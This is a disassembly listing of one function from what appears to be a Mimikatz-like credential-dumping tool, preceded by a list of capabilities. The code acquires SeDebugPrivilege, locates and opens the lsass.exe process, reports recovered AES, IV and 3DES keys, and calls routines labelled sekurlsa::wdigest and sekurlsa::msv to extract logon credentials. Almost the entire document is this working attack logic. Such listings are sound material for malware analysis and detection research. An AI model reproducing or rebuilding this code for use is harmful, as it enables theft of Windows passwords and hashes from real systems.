Function at 0x140001070
Capabilities:
Acquire debug privileges
Enumerate processes
Execute command
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
lea rcx, str._n
call fcn.140001010
lea rcx, str.___________privilege::debug___________________n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001143
lea r8, [rsp + 0x30]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001143
mov rax, qword [rsp + 0x30]
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
xor ebx, ebx
mov qword [rsp + 0x28], rbx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x14000113c
lea rcx, str.AdjustTokenPrivilege_Error_n
call fcn.140001010
jmp 0x140001151
mov eax, 1
jmp 0x140001153
lea rcx, str.SetPrivilege_Error_n
call fcn.140001010
xor ebx, ebx
mov eax, ebx
test eax, eax
je 0x1400013f3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400013f3
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400013f3
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 1
mov dword [rsp + 0x60], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
cmp dword [rsp + 0x30], 0
je 0x1400013f3
mov qword [rsp + 0x2d8], rdi
lea rcx, str._n___AdjustProcessPrivilege___ok_._n_n
mov qword [rsp + 0x2d0], rsi
call fcn.140001010
lea rcx, str._n
call fcn.140001010
lea rcx, str.___________preparing_sekurlsa_module__________n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
xor edx, edx
lea rcx, [rsp + 0x74]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov dword [rsp + 0x70], 0x238
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rcx, rax
lea rdx, [rsp + 0x70]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400012c1
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400012c1
lea rsi, str.lsass.exe
nop
lea rdx, [rbp - 0x64]
mov rax, rbx
nop word [rax + rax]
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
jne 0x1400012af
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x1400012af
add rax, 2
cmp rax, 0xa
jne 0x140001280
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x78]
jmp 0x1400012ca
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001270
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x140006668], rax
call fcn.140001760
lea rcx, [0x14000451c]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, str.___Aes_Key_recovered_as:_n
call fcn.140001010
mov edx, 0x10
lea rcx, [0x140006680]
call fcn.1400022f0
lea rcx, str.___InitializationVector_recovered_as:_n
call fcn.140001010
mov edx, 0x10
lea rcx, [0x140006690]
call fcn.1400022f0
lea rcx, str.___3Des_Key_recovered_as:_n
call fcn.140001010
mov edx, 0x18
lea rcx, [0x1400066a0]
call fcn.1400022f0
lea rcx, str.___Not_all_zeros_...__n
call fcn.140001010
lea rcx, str.___All_keys_seems_OK_...__n_n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
lea rcx, str.___________sekurlsa::wdigest__________________n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
call fcn.140001cd0
lea rcx, str._n
call fcn.140001010
lea rcx, str.___________sekurlsa::msv______________________n
call fcn.140001010
lea rcx, str._n
call fcn.140001010
call fcn.140001f80
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [rsp + 0x2d8]
xor eax, eax
mov rsi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140002450
mov rbx, qword [rsp + 0x2e0]
add rsp, 0x2c0
pop rbp
ret
lea rcx, str.AdjustProcessPrivilege___not_working_..._n
call fcn.140001010
lea rcx, str.Are_you_running_as_Admin___..._n
call fcn.140001010
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]